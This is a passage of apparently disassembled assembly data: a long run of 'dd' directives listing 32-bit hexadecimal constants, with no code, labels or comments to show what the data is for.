		dd 0CF92422Ah, 5014FF00h, 3A9EBBE0h, 74909AA0h,	0C0BA58F1h
		dd 0D4672504h, 0C4A0A072h, 0A07E88h, 9636EE28h,	0A118AA5h
		dd 1CBB3E2Eh, 0BFDDB783h, 616DCAF1h, 0FE10FD00h, 0AC9EDE58h
		dd 60222783h, 124AF0F2h, 65FA026Eh, 0F776B9D4h,	0BA39F8C6h
		dd 0C60B0075h, 7E9F7BBDh, 616D588Bh, 3E397400h,	731A77A6h
		dd 0E910BE07h, 0BB4034AAh, 481E697Eh, 3A00E864h, 1A54D352h
		dd 4102DE7Dh, 1CF080F8h, 83E8A392h, 601EF158h, 1AE5BCCh
		dd 0EC907078h, 60DDBEEBh, 0C40412E4h, 0F48E936Fh, 1B249CC7h
		dd 0C21FA081h, 0C69D8850h, 0F18F002Ah, 0A8E829FAh, 0FE1615B5h
		dd 50C84428h, 4240086h,	0BB405154h, 0AEF2EEBEh,	73F67601h
		dd 0E352436Dh, 0C0E0D097h, 0E4A482B8h, 100ED025h, 480424h
		dd 0B4263734h, 3E2F821Dh, 19399800h, 0E6CA248Eh, 8C773F1Fh
		dd 9038404Bh, 425E1A18h, 35437C0Fh, 6BD8A20Eh, 10668Fh
		dd 0D14923EAh, 78A9EC7Ch, 0D0209E4Ah, 62FA3Dh, 0BE4ED86Ch
		dd 0D00D1BA5h, 18CE6B16h, 0C0EE8027h, 0EB162867h, 532F0361h
		dd 351DB112h, 0EE8D48E8h, 7DD56517h, 0BB72C80h,	0A25F00F5h
		dd 0BBA6B583h, 84902644h, 0E9E4E330h, 779246Dh,	21D3EE2Fh
		dd 56A02E92h, 29E7B4D6h, 0CA25B01h, 12BF606Fh, 0D882743Ch
		dd 0CCF1EA68h, 0E329AD11h, 628703A0h, 0A00A7E9h, 0D13A8210h
		dd 0BD37E2h, 0B51573FFh, 8D2C79CBh, 420BF4A0h, 0C0048658h
		dd 0ADE23EE5h, 551500ABh, 925658Ch, 0BF25886Eh,	8A50A083h
		dd 97B711Fh, 0F63DD822h, 15AED099h, 2C204C00h, 0BC12BE0Ch
		dd 63196368h, 0CD4E45A0h, 4A48FCB8h, 0BE0817C8h, 0C17C840h
		dd 4C2530Ah, 0BF6BEA11h, 6CBC8062h, 0A0909323h,	0A8E21007h
		dd 71D3BAF1h, 3BA7C78Dh, 0D8037BE0h, 91E86554h,	10C4F419h
		dd 80E6643Dh, 58E20B71h
		dd 0D85365h, 0BCB28B90h, 0D3FE3CE5h, 0E76F1506h, 4AA81A3Dh
		dd 12648C16h, 0C3AB0A00h, 68E476A2h, 0B89E6072h, 54A8A9D1h
		dd 10FD84A1h, 0AE08A9Bh, 0AF7A936Ch, 878B4488h,	80519983h
		dd 4A2FFE89h, 250070C8h, 8680C28h, 440157B0h, 0FE3E5B47h
		dd 19EC09AEh, 176890B7h, 8CA5AD1h, 3B9DC104h, 4223B280h
		dd 10CCF37h, 0EAC83C75h, 73C0A6D6h, 0B5841E18h,	46149E82h
		dd 9531E0C7h, 882C90E3h, 0E2E4B760h, 44C8B09Fh,	761F71E9h
		dd 0B196DC0Bh, 8CDF430h, 0EED8768Fh, 0FA497877h, 44630909h
		dd 0B081AFFFh, 0D01EDE2Ah, 36133B4Eh, 1C1F7297h, 0CA032C6Ah
		dd 92ADD788h, 5851C479h, 0C16EC000h, 0BD57303Dh, 1CF14E0Bh
		dd 90F4ABBFh, 48CDADD4h, 374722Ch, 9DFE758Dh, 51002A18h
		dd 0CBF06D66h, 7E55B56Eh, 3DDC1834h, 440CA052h,	5C20685Bh
		dd 7AA838Fh, 51FAFECFh,	0C91A001Bh, 522D28CCh, 80D0138Dh
		dd 53D4DEh, 307C1108h, 0D81CA724h, 0F39391C0h, 85B557h
		dd 0C47A95EFh, 5039828Ah, 89E1BA05h, 92C0E2F6h,	4295471h
		dd 216ED81Dh, 3938C819h, 8010023Dh, 2CCBC414h, 921C23Eh
		dd 830EC0AFh, 0A64A4F80h, 0A402728Dh, 1D88BA76h, 8EE0A0EDh
		dd 0CE1509h, 997962C9h,	205BA423h, 2AEB5C16h, 8471E503h
		dd 0F0A2A430h, 73557600h, 82C59529h, 0EF741303h, 0E01CB5D2h
		dd 121868F1h, 0A05B50EDh, 4A27EB80h, 0D8C098D1h, 0BEDCBE56h
		dd 2C0C7E28h, 18D81D2Ah, 281469AEh, 9EFF8617h, 6AB9880Eh
		dd 0F8005C1Ch, 800636FEh, 9F4B00B6h, 658DCE67h,	7EF4E7C6h
		dd 7AB72A05h, 0EC20195Eh, 1845AAE5h, 98A38A03h,	420C9AC6h
		dd 71B47E93h, 9F3CB6E3h, 0C1D680B5h, 650C40BAh,	68288200h
		dd 0F39D5B60h, 8477243Ch, 0C21409FCh, 80120C04h, 8E32D8CDh
		dd 9B13D892h, 4007E565h, 76E052E6h, 265B7BC1h, 2F3C50CEh
		dd 0C377C420h, 1102B57Ah, 0CF5B57E9h, 1A0D9F9h,	8039478Ah
		dd 0ED5080EFh, 0BB8FAB2Ch, 0B4B100C9h, 75491DCFh, 0C24CFC80h
		dd 0AB270100h, 85BEF965h, 0FE12B439h, 5A60D030h, 0D0F38208h
		dd 2A00C827h, 788C9BC5h, 0A4B19340h, 170A6C4h, 75E233B5h
		dd 0C04B6522h, 2900EF45h, 905C1173h, 29486F4Eh,	80CC6D37h
		dd 0DD27598Eh, 0E14F998Bh, 3C3FB0h, 4D01FCE8h, 0E7CC18C4h
		dd 8BCC2CF5h, 1F1040E5h, 0EFE6126Dh, 0E31C45FDh, 0C4900BC5h
		dd 0C0EB8419h, 193F70DCh, 75F5032Fh, 0B0636253h, 0F36D5EE9h
		dd 0A4230C31h, 9A88167Eh, 0BE0C0270h, 9C80342Bh, 41964F3h
		dd 808981CEh, 0B525D43Dh, 0F3E0076h, 0A2EFBA1Ah, 2D050C50h
		dd 2F348DFCh, 17FDB005h, 265088h, 6093ED3Dh, 59E945EEh
		dd 4B0136Eh, 6C84A584h,	332140A2h, 43F9C204h, 8290A4h
		dd 0B0E4D110h, 0BE71384Ch, 0B1B1533Ah, 1D54B0B9h, 3B00B429h
		dd 0D16DEA9Bh, 0FC065ACAh, 916C6B94h, 220174D0h, 4500F819h
		dd 24471838h, 99663332h, 0EAE980C0h, 0A7C8DF53h, 0B001F902h
		dd 9857A645h, 48F5B0h, 0CFD765F2h, 0EA77E6B4h, 0A82B5B1Fh
		dd 8C84265Fh, 6F307F92h, 733EBAE6h, 217D25B4h, 0B0263DB4h
		dd 0F38C20h, 6D59BF65h,	327B4DACh, 5CF92D12h, 0C0B74CD2h
		dd 75355B5Ch, 37F117EBh, 3CF00062h, 283A89D8h, 98630224h
		dd 11008F11h, 0B12CAC1Fh, 6A031356h, 837AC8D4h,	2B7000B3h
		dd 91140478h, 0AC2586A7h, 1F4C681Dh, 0ADFF0012h, 52C52CC2h
		dd 0D00C0A3h, 0C12BCFE1h, 3BF25D3Fh, 4A8932B8h,	14642F44h
		dd 1476FD00h, 690A086Eh, 7793007Bh, 0D95BAD62h,	61053E23h
		dd 95BA5847h, 75B7B08Ch, 0F60D00F9h, 0C66E6B2h,	3900F017h
		dd 25836711h, 12293FEh,	34EA6DBEh, 2218A58Bh, 8A880A2Ch
		dd 0C900A948h, 96B28E06h, 7BE3EE05h, 809C914Fh,	0E9FA3103h
		dd 37094EF2h, 187AF9FBh, 9034118h, 0E5096502h, 6D580C70h
		dd 6C221D1Ch, 0B0913C16h, 402EB492h, 85FD5B14h,	0B90BD27Ah
		dd 807E9B48h, 12A9D0CCh, 0F4B7039Ch, 0B238B05Eh, 5A4B09B0h
		dd 0F67B0200h, 9F816D7Ah, 0B1A03FF5h, 56F7D005h, 804CC7A9h
		dd 3557B284h, 0BE7AAC00h, 0BF71A648h, 0C8909585h, 0CE0BF013h
		dd 69D639F9h, 402F1130h, 627BB854h, 180066CAh, 0FF5408E3h
		dd 0C0F319A9h, 0FC45CC21h, 5015327h, 0A2728223h, 59CAA4FBh
		dd 364F0014h, 16A3C84Ah, 6101D300h, 57986C55h, 3C4400CBh
		dd 601E5A0Ch, 0DE09538Ch, 44DA2571h, 33F700E8h,	0A7D605F5h
		dd 1700AA0Bh, 0AF0D0F6Bh, 0B2F915h, 7E5649BCh, 6F62BE7Bh
		dd 0A6B4F300h, 7784CF87h, 0B9030F7Ah, 71E0C676h, 0C2C4F17Eh
		dd 0EA4EE898h, 15C2088h, 4C363DF7h, 49D942FEh, 24007284h
		dd 3901A86Fh, 15CE03C5h, 7612087Ch, 0D5C404EEh,	0E8408CCBh
		dd 0CA9B7E00h, 1B614AA1h, 0A8F40210h, 18F31665h, 0CC005C72h
		dd 0B1D7E2Ah, 0EA01A1h,	0FE6D0D09h, 0B7C22428h,	3C5A0226h
		dd 0C8007913h, 4C2AC31Ah, 265B0796h, 0C0736145h, 0A6E13347h
		dd 9D809891h, 0F050E2C0h, 0CC6B1FCAh, 0CD38005Fh, 7AA5F7BBh
		dd 8FDC3F00h, 56F38EB1h, 0F02D4841h, 18F44A5Eh,	133243ECh
		dd 0B9A8D0C8h, 0A7080401h, 0DDC8F257h, 0C300BC3Ch, 0F56B0F5Ah
		dd 9215C415h, 4BD89E73h, 0E6879820h, 88991DB0h,	2284CFC0h
		dd 11357600h, 5E053A83h, 0C7441F55h, 0DA0102C5h, 0B862C622h
		dd 4885F0BEh, 4799378h,	40B0E32Ch, 676A0CC0h, 59D80057h
		dd 2C6246CDh, 0BE04F19Bh, 12BF746Ch, 71677088h,	66C20444h
		dd 1F8A6BD8h, 0E3B7A900h, 60863AD5h, 85E670A1h,	0AF89BDCh
		dd 8C6BBB00h, 2146D4FFh, 498B0959h, 9013E2C3h, 6648EEA8h
		dd 6DCEC200h, 0B1921944h, 7C1295BDh, 8912D0E4h,	3809EEDCh
		dd 0BC51D3h, 83A43610h,	0A301A0CAh, 5AA7C553h, 5530261Dh
		dd 0B69227ADh, 41012046h, 0F6EA144Ah, 606255F9h, 9064A725h
		dd 1ED64901h, 3DA3F64h,	2D36AE0h, 0EC8153B9h, 245E7CBEh
		dd 2EA7450h, 0CBEBE006h, 90898C01h, 0EC072C46h,	114B4869h
		dd 0D618D281h, 33DB4840h, 96020088h, 0CA546679h, 502520CCh
		dd 38C4CBFh, 7222884Ah,	80B71932h, 0D37F653Eh, 0CF8F58B9h
		dd 0DE21C79Ch, 0FC56AC30h, 0C0360092h, 8D54E8A6h, 64E62D24h
		dd 278EBF00h, 6D3C1034h, 0FE2A7955h, 81C117B8h,	0E4F402E6h
		dd 0B8819BA6h, 0E876B4C6h, 6C9157D8h, 651FEE60h, 3A27026Ch
		dd 75FA42CDh, 20242DD6h, 0A31E1002h, 0F9D8837Fh, 0F4F7C0B4h
		dd 9DD113EAh, 496820E0h, 5B007D19h, 0DD85E936h,	350F115h
		dd 52048412h, 0DAA01C0Ch, 9B02A79Ch, 0C2EE518Ah, 4004C06Eh
		dd 45A896F9h, 6CC3046Fh, 9E44FC09h, 0DF3821C0h,	0BB7086h
		dd 0BE4CBD49h, 0F2277E08h, 95A80300h, 18B7AB45h, 0F9AA3883h
		dd 0F10FFD07h, 2D3E02FEh, 504010D4h, 96E3C2Eh, 0D3516F04h
		dd 7A8A8C80h, 3A5CBDCBh, 30E6108Ch, 3C481925h, 2D00FC99h
		dd 0A70D0A43h, 0BC5374h, 0FAB0C69h, 28131084h, 5900FA7Fh
		dd 12255472h, 948F56D8h, 0BE1841BCh, 180297Bh, 7CDCC9B4h
		dd 82DA8149h, 54FE6988h, 96AC4144h, 252E614Fh, 2D3C802Ch
		dd 0B41D78B1h, 941097B0h, 17006F52h, 0BA0A8DCAh, 37AECFBh
		dd 41294B25h, 1AC1D878h, 14103FE8h, 0CB080490h,	68B41FC9h
		dd 0E7767A06h, 0DA19CADBh, 7AC500BCh, 0B323A413h, 1F097F97h
		dd 0EC0B5A5h, 19688409h, 0ED7C88h, 1388C2C9h, 26257C0Eh
		dd 56ABA61Eh, 6EB38D80h, 9ED8B7Bh, 0B1DD3F6Ch, 90B02026h
		dd 7CC2258h, 0A4D5DE03h
		dd 0FA7DBFA1h, 386481A7h, 0AE51BA0Fh, 3005EC72h, 92AF0FF5h
		dd 6221AD50h, 730D44BCh, 7B860140h, 4F2F964Eh, 2ED91ED4h
		dd 2E28443Dh, 8A59427Ch, 0D58A129h, 40DA8E92h, 7887C298h
		dd 0DC7F2DF6h, 859D0064h, 0A0042460h, 24A01AE5h, 93E93FF2h
		dd 758A34BCh, 0CE4AA9Ah, 0B2817F9h, 0CFAEB605h,	0F41FD3h
		dd 34C60E5Bh, 0E6604F0Eh, 0B7EC52CBh, 1CA7911Dh, 40771F7h
		dd 0F42DB600h, 9C6107D1h, 373B827Dh, 0BE2791E0h, 60C021AAh
		dd 664D3AFDh, 4FFC801Ch, 0A1AB1Fh, 0FE12C88Dh, 0A98022Ah
		dd 517FF000h, 97BF18E1h, 888C1D9Bh, 0C1B500BCh,	5BEF76CDh
		dd 0B4903E0Eh, 868527F0h, 7CA2BF65h, 81459440h,	511900D4h
		dd 9944B06Ch, 93AC20DCh, 0FCDD0F94h, 0ECA2D3h, 51D9285Dh
		dd 0E877365h, 23569DB8h, 20CE4F20h, 0AA166D58h,	0D8D1A892h
		dd 71E22C7Bh, 907A1600h, 0CC065BA4h, 73E7B74h, 920C7BC9h
		dd 78F91397h, 4313BE4h,	0DB022E22h, 0D2436671h,	80C0F970h
		dd 9EF2025Ah, 0C5E8C5Dh, 9423FC20h, 832C02C6h, 550B8722h
		dd 0F5AC407Fh, 0A28D0078h, 60FF9816h, 0A848E02Ch, 0B1240004h
		dd 72B313CAh, 9A6F1F82h, 671400BAh, 9B5C89FAh, 5B3B9E05h
		dd 348C0CF3h, 49B307C5h, 67D76C6h, 1E3AD889h, 2F550261h
		dd 0F98EFD97h, 80E0184h, 60B23E28h, 1A0F1773h, 0E2AF2A1Fh
		dd 423835B1h, 40787CACh, 0D9F6258Bh, 0A1C09E00h, 89277410h
		dd 7180EAFh, 0C4002077h, 8295560h, 8DB6D02Eh, 76B9E702h
		dd 473860EBh, 0BF89126Dh, 0FEC82185h, 9C302E2Eh, 22CD83BBh
		dd 0E7000418h, 0A79F0579h, 7112298Ch, 233416B9h, 28D20149h
		dd 7C43BA69h, 909778D8h, 0B80FB8E0h, 1257F247h,	9DB6B2A7h
		dd 50223E00h, 0A27E0BDh, 0A307008Bh, 78AD8DD8h,	4501C94Eh
		dd 0DB6C59D2h, 203FE754h, 37C1F040h, 0B0B19001h, 3989D974h
		dd 224C8E0h, 929B3541h,	78511C86h, 33B97001h, 1B617B06h
		dd 4D87ADC8h, 9040C060h, 0E0D73C48h, 0D8D0623Bh, 0FDD0C128h
		dd 2AB4AAF9h, 43ECEC23h, 0B500E051h, 797665Fh, 9C053D51h
		dd 3B86F0Ch, 0C49680FBh, 2095E36Dh, 67B302A8h, 81BA3DE8h
		dd 0F280E40Bh, 43D47084h, 2656C2AAh, 407C1778h,	60260E4h
		dd 0F8DA7800h, 6D59D9D0h, 1273022Eh, 0A68B86E3h, 4D003C71h
		dd 0A5CB82C6h, 66B0007Eh, 71167646h, 2B02F01Dh,	25D2C459h
		dd 3118801Fh, 793FFC4Ah, 6698002Eh, 752185DEh, 1938BF38h
		dd 0AD611424h, 88B31694h, 28565400h, 441837DFh,	0A800DABDh
		dd 0EAAE323Eh, 48541F0Ch, 0D93CD8C7h, 7A6C5785h, 1278B2B4h
		dd 0EC1A04C0h, 8E6C984Ah, 77AB097Ch, 6CFB18FFh,	86B09640h
		dd 15AFC80h, 0ABD612E2h, 321D5078h, 0DA4D00FCh,	7E9E0FC7h
		dd 82F03E7h, 0DFB6134Bh, 8C71CDC0h, 562E20Ah, 5A47B019h
		dd 0CC9C67B0h, 90F8BDB3h, 0BEF25B0Bh, 0FC4C446Dh, 0B63C3E9Ch
		dd 8B816780h, 7F6E7BA3h, 0A209C71Dh, 6FA9B583h,	0CB6C9159h
		dd 0B8D22020h, 0E8474C54h, 4A1B077Fh, 83ED829h,	81FC188Ch
		dd 7BEA0036h, 0DA196DEEh, 8E00672Dh, 0F1B743A7h, 4F0ED034h
		dd 0E438C06Ch, 0A90172CCh, 4D49BE51h, 707D1D9Ch, 0BC0D800h
		dd 8CD365B5h, 252550E2h, 0FEF40189h, 80CF15AFh,	0B379920Fh
		dd 0A2CA1680h, 365800D4h, 40B5C7E4h, 0AD42003Ah, 0A64F6FDEh
		dd 85EAE1CBh, 3F009090h, 0D6108D17h, 4B2675E0h,	53188816h
		dd 0BE599705h, 0C2C1CE58h, 0A4241C44h, 13B0B0AAh, 668C4Dh
		dd 0E2152BACh, 0F918C297h, 0A641EB3Dh, 6D952DC1h, 45011CC4h
		dd 0F478CEB3h, 18234C16h, 3C72641Ch, 0E779C800h, 0C6F1CBDDh
		dd 59D6D00h, 0A00F637Fh, 46AA0738h, 959C0EAh, 105C64F0h
		dd 0D308C7D4h, 6FB150E0h, 0E9B716D2h, 7CF4007Eh, 0BAEC10BDh
		dd 44589901h, 4026547Bh, 2F80B078h, 6A3D9CEBh, 0E9858F01h
		dd 0CA1CB0ABh, 666C7C10h, 3045F817h, 642EF500h,	7EE2F525h
		dd 20C0282Fh, 73E628A4h, 465508E4h, 1280ED1Fh, 0A5E79447h
		dd 809E3CDAh, 5DF1A8Fh,	0B3EA0173h, 6A2D8415h, 87D2D809h
		dd 0D805BAD8h, 0D10C14E9h, 0E618DADEh, 0BEC0A701h, 6D4302B7h
		dd 48F8BDCh, 651B899Bh,	8CAD19h, 4BCFBB16h, 38151EC4h
		dd 0A0E1D467h, 2B1C7BC6h, 614C4440h, 3B96CA01h,	0C402DAD0h
		dd 6DBBCD0Ah, 0C2FF20E0h, 36125401h, 55A29073h,	34A812Ah
		dd 0C478D2F7h, 0BF596408h, 49FCE7Ch, 4BD439FEh,	1DB08A2Fh
		dd 14CC0739h, 8DA0E43Eh, 26F9CB5Bh, 0F1B1628h, 3D9E9711h
		dd 98EC43DAh, 3FE057C3h, 0C71455D6h, 0C0F40EBEh, 7C659415h
		dd 0D3540290h, 4386D8F5h, 80FD040h, 98411C4Ah, 498CB457h
		dd 43385ED6h, 6BD00952h, 8500A4B7h, 7AE976B4h, 178262ABh
		dd 2BEE426h, 88CD0614h,	65072850h, 90395708h, 2B48F2C0h
		dd 479B027Dh, 0E18DF7F3h, 868448D9h, 0BCED182Ah, 377A1A00h
		dd 0D3DC47E7h, 0F2FD6F00h, 0DB611015h, 0FCBC98BFh, 746916FFh
		dd 82A8901Dh, 751DE89Ah, 5E80D8CDh, 5A1BB73Dh, 68D21733h
		dd 0FBF0A41Dh, 5E4A2107h, 878E7DB2h, 78A0BDF1h,	25A1417h
		dd 0E30CB43Eh, 0A474B183h, 686F7540h, 527768Dh,	906A47D5h
		dd 81FCA8B0h, 13FFDDDBh, 41C8CECh, 765C8246h, 268CACEEh
		dd 806E0CCEh, 5B843580h, 74660239h, 8B502EF3h, 26B00C43h
		dd 657B9BAAh, 0F94414B0h, 0ED2D0078h, 0EF66AA3h, 0E6000F75h
		dd 58515BB9h, 2E65ABE1h, 60388FEBh, 0F5BC22A3h,	393B7A1Ch
		dd 0D979803Bh, 0EC93997Ch, 69101859h, 8C086883h, 0D81FB314h
		dd 0B22980BCh, 0F6A639h, 4EAB86FCh, 12BA946h, 0E28A6602h
		dd 7C61B916h, 368840E8h, 0A8000975h, 0EA551ECFh, 5CE9535h
		dd 33712882h, 0CE7CB82Fh, 3BB20069h, 0D4974Fh, 0B8CD594Ah
		dd 0C2079C2Bh, 0E7CC9B02h, 6444FE0Ch, 948B084h,	0A7BAA574h
		dd 0AAFC5400h, 6400F0B5h, 0CEDD1211h, 0A67B6869h, 0E5AF0FF0h
		dd 67007DABh, 0FA794BB8h, 0F5A21902h, 40522B30h, 730D9Ch
		dd 541D7815h, 2D38B939h, 9C8E109h, 6D02803Ah, 58C14355h
		dd 0F90A21BDh, 448B356h, 0ADE3CF76h, 778F007Ch,	9BC1D448h
		dd 0D54C0A07h, 6390108Eh, 7EB1CF95h, 98DF8F1h, 197573Ah
		dd 687D1123h, 5C401C13h, 3F76E4h, 0CD0DF6D2h, 37BAC6E2h
		dd 2F623500h, 0CFB18D73h, 0CE5B267Ah, 922C0400h, 2574EDD5h
		dd 0E05C2EE3h, 78C6AC93h, 0C16F4A0Eh, 0D4114B58h, 0CC941915h
		dd 0C45B4C80h, 9C6F30h,	838B1433h, 85886EA6h, 0D4AF61Eh
		dd 830A1D3h, 4776C3h, 896F7816h, 0B3DAFD27h, 76C09B5h
		dd 0BCB10554h, 5069E267h, 0F061D11Eh, 0EFD280A6h, 0D8046EF7h
		dd 0CC80014Ch, 3F5670D0h, 7E8932A7h, 50481CF7h,	6A00FD9Bh
		dd 5A517706h, 3787213Ah, 0D040CBB5h, 5B57D168h,	86191609h
		dd 0C348AA5h, 5A492A00h, 0C988F04Bh, 0DC44FD98h, 0E8065300h
		dd 0EEAB2782h, 2D21007Fh, 0AE04D066h, 4C094274h, 9803CEA4h
		dd 1E029F40h, 0BFDB3C67h, 8783BE80h, 0CC7DFF6Dh, 74A89895h
		dd 0F6100082h, 616B98B0h, 904B585Bh, 0FB7F8020h, 762C0043h
		dd 60C8A824h, 0F400CA55h, 68F0FF46h, 6438914h, 84BE3FAFh
		dd 1948592Fh, 50D58098h, 5C636623h, 0D6019BEBh,	4335B4CEh
		dd 9A86CC1Ah, 0E74CC112h, 0DB025812h, 0A392D639h, 0C8717640h
		dd 2C701017h, 60DCE1A4h, 0C96134B7h, 14047776h,	0CC76984Fh
		dd 4482C4ACh, 0E1C0DD1Fh, 94726B25h, 0E2027F78h, 15C5FFA7h
		dd 441441B7h, 0BBBA8C4h
		dd 57CF5B7Bh, 803BBC47h, 41A152ABh, 10AF138h, 11A0B93Dh
		dd 693CD8C4h, 0F7761E20h, 4353E12h, 39EB4480h, 327B0050h
		dd 0D5A4B25h, 7A07440Fh, 59CA76B5h, 55484E32h, 68E80C00h
		dd 78B112BFh, 0C64A1B81h, 30706DFCh, 0C8EC5FF9h, 0FE004E90h
		dd 70B265F1h, 0CF5C613h, 921D51F4h, 9D3C4A91h, 7C22806Fh
		dd 332493B8h, 0D64C04A8h, 0E82C2F90h, 291F805Ch, 0B58D0Dh
		dd 0B26ECE89h, 3B5AF25Dh, 0B1BC3Dh, 9084001h, 16D8B6Ah
		dd 0A571C0DBh, 10D81CA6h, 4D6CC7h, 0FE2DCC46h, 9C1A18B9h
		dd 0C212209h, 45F800ADh, 88C11FC2h, 0F400419Bh,	4D4C338Eh
		dd 73B166h, 4668CBB2h, 1461BB10h, 5AFEB000h, 0F1E6B9FFh
		dd 0E21104C1h, 0CC1B621Ch, 874C39F8h, 53120097h, 2046073h
		dd 0FF9F0F4Dh, 216400Dh, 8C68CEE4h, 6DE464C0h, 8A01F890h
		dd 0C677333Fh, 6C59D8h,	0EC7EE9CEh, 43E411ECh, 0D14400B8h
		dd 21370581h, 7E0C0CA7h, 0EA5877CAh, 82EF5498h,	0FE0827E8h
		dd 92B87456h, 2CE658h, 14D8946Fh, 9808A6h, 4A365ACAh, 61278A13h
		dd 6828B0C4h, 1580ACACh, 8F80E0F6h, 0D99C2200h,	85FB92DDh
		dd 4DFA9Dh, 0BC11E3E9h,	8F9B8CFFh, 46E7E627h, 4E5A0270h
		dd 97C2B2E1h, 13E04840h, 39F91913h, 0FF8AB820h,	0F81C0002h
		dd 8927D610h, 0B491366Eh, 380D5E80h, 259FE5h, 48921866h
		dd 0D553FA75h, 5C8D7B24h, 50350C3Ah, 5A8C8C8h, 871A7F77h
		dd 8004B874h, 22D3015Ah, 802F00CEh, 0EB25281Fh,	137A58CAh
		dd 0B8885E4Ah, 98480050h, 69123966h, 6B0E0226h,	0E0CA0E7Ah
		dd 0E3251041h, 8DD8013Ch, 9115E546h, 0DED842AAh, 0D52B5420h
		dd 86CA257Ch, 0B385DC7Bh, 4AC33D8h, 129141CEh, 6830158Eh
		dd 0F3E378h, 26C6D640h,	0D2359911h, 0D489B309h,	0A0D169h
		dd 3D33F4CBh, 3B005E39h, 0F18B308Ah, 7434EC6h, 0B8B9A50Ch
		dd 8EE77081h, 8C997C92h, 8A4E212h, 67960041h, 0CB43F3E5h
		dd 0EF02D11Eh, 0C199AEADh, 4F14A054h, 0A4A3EBh,	30589525h
		dd 0F7FF2890h, 38C8D95Ah, 51DF3BA7h, 0CF13E180h, 9A606CB0h
		dd 7B0063E6h, 980BF96Fh, 3AD410EDh, 222D453Ah, 0FCC3D805h
		dd 90B3D668h, 2FAFF500h, 7828E6EDh, 47D270Ah, 3830F914h
		dd 0A41C85CAh, 283425A8h, 6AB32418h, 0C1B47A01h, 0B18FA28Dh
		dd 8B54206Eh, 4D00250Fh, 2DD6119h, 16645C26h, 12F78A4Bh
		dd 5500ABC6h, 0B5D304B7h, 887C5B9Ah, 703F909Ch,	0DEFE0EB8h
		dd 0FC8BE0C5h, 6B8876h,	6211CE1Dh, 5F025B0Bh, 32D86E0Ch
		dd 99B139EFh, 0F7CCBC1Ch, 0C55C2Ch, 0BDF14686h,	6F09A615h
		dd 0FA1FD139h, 0EE813954h, 0BC1D3419h, 8C206F57h, 21F2A0h
		dd 0C18071EBh, 9C672263h, 77BF6C09h, 11BCF12Ch,	0C09458C2h
		dd 1DEDD57Ch, 0A9B8B7h,	58C4C3A8h, 2521BC71h, 0E1760F01h
		dd 7E5A6D59h, 1CA0C60h,	10BE6A35h, 0D03B91B9h, 0AE12BFF4h
		dd 9C3018B8h, 54C01Ch, 28B1595Bh, 6322110Eh, 165CDC00h
		dd 1961F5FBh, 1DBB29E6h, 0FAFE00D8h, 0AF357C91h, 0A67A25h
		dd 0C610B9DCh, 88024B99h, 82A0E594h, 0B0713D5Bh, 0C3E28200h
		dd 5AE48977h, 50B90515h, 30A8F8B2h, 0EA8BACB0h,	62E76A00h
		dd 7C83E17h, 0CC50315h,	0FD86AF9Eh, 0EDB0D090h,	8F9C1B01h
		dd 0A8920B2Ah, 0D898452Bh, 0E2982454h, 0F6990FF0h, 0CBB8C001h
		dd 3AB8767h, 891B6F6Dh,	0C0059A0Eh, 7D92B7EAh, 213FCC8h
		dd 8BF4951Eh, 757B1B4h,	7A4527ECh, 483FC8E2h, 3C1A5A80h
		dd 0E03D95F0h, 0D8FAFC07h, 0EC90E2BBh, 6154044h, 0AB4B176h
		dd 7A3C4838h, 3DC5CABh,	2856B029h, 28C08567h, 0C11022h
		dd 556A5773h, 215D8114h, 0C80ED75Eh, 0FCD83CD9h, 0E5EDFBD1h
		dd 1022F20h, 281CE0FFh,	7064698Bh, 0CB05220Ch, 375E9671h
		dd 4A3A0C80h, 7487E65Ah, 0FE4700B1h, 11E40807h,	0ECA6B015h
		dd 0BA8AC001h, 0AC4B61B4h, 15B4036Bh, 44C08B33h, 0EB247601h
		dd 7C0F2C69h, 6F009CC1h, 0B82186D8h, 53BE328Bh,	34408DE0h
		dd 770F9D44h, 0A3670D03h, 0E023DC8Ch, 2E31AFD1h, 25A00921h
		dd 7956DC10h, 5308E001h, 1947C6B0h, 4D39BC0h, 0BF27DB02h
		dd 3F68808Dh, 0BA00612Eh, 54E065A9h, 1137A2Ch, 0FBB49691h
		dd 0C38E9BE5h, 1CBC6800h, 1266586Bh, 30963047h,	3F611AB8h
		dd 1460C2E7h, 4D4B7C2Dh, 265DC88h, 0EC88EA4Fh, 7B4059F3h
		dd 0B9001BC6h, 13FDC23Bh, 5BF10B7h, 2C7AA38Ah, 0CE10EC7Bh
		dd 502F0BFEh, 0AAFF0588h, 1EE2EBB7h, 6CA467ADh,	2CD8E41Fh
		dd 0B954F000h, 3F9BBA65h, 0FF5004F4h, 0A369B0D3h, 38470004h
		dd 65EE3A8Ch, 901F4BE5h, 60D685A4h, 5FABB401h, 3A7EDC7Bh
		dd 21C58800h, 0F9A9BB0Bh, 2E8C63Dh, 1199011Eh, 68C14BF1h
		dd 5C802FE3h, 4B57D8CFh, 44DC89F6h, 20C0E067h, 5A20F366h
		dd 4CD77549h, 48019314h, 0D23295D0h, 70F5E16Dh,	0AB7E81DEh
		dd 0BE3AE805h, 90A8F762h, 0FDC1FA8Fh, 60B92709h, 7924E176h
		dd 76074895h, 79D9A915h, 0F68B00E4h, 174C84A2h,	9C82350Eh
		dd 0DF164179h, 0D8D83827h, 649A9577h, 9E0EC374h, 0B9738025h
		dd 70BC545h, 0A53D89BFh, 7CA0F06Ch, 7425587Dh, 67CC10ABh
		dd 1FC93964h, 0B1786F01h, 0CC2A195Dh, 0E46FE2E5h, 0EBAD40B9h
		dd 0FE504Ah, 5A773603h,	61C09C4Dh, 80175700h, 6C68A9Bh
		dd 0EA8E2F93h, 0BFF94C93h, 210270C9h, 0F32581Eh, 0CD064940h
		dd 0B33CD1EDh, 0A91368h, 0B2AFD95Dh, 6BF2B7A7h,	20B47D01h
		dd 0DDE4E662h, 32D80035h, 56F92DB0h, 2A3D1C20h,	9097DD7Eh
		dd 68B2B0h, 0D20BDC76h,	0D01B199Ch, 0C2C4412h, 9A8014ECh
		dd 1D55AFCDh, 0A31AFD00h, 5B12E78Fh, 0A430FFBEh, 0F229D7B3h
		dd 4BEC005Ch, 4C17712Ah, 0A7B40078h, 7298568Dh,	0D70104D6h
		dd 0D8A1DB2Dh, 9C508F3Fh, 3E156D99h, 0E80CB48h,	0F891BDFAh
		dd 0BA0056DEh, 6475AF4Bh, 1109AEh, 74B95117h, 63DF8CE9h
		dd 0D3B75301h, 5D0E42CCh, 6F16408Ch, 0AD006C49h, 5941A39Dh
		dd 39AAE9h, 296A4214h, 0FE5A1155h, 8E50AF79h, 3F309618h
		dd 0A6BF48DAh, 0CA5000E9h, 27B5CD0Fh, 7C0026EAh, 2DBD87E1h
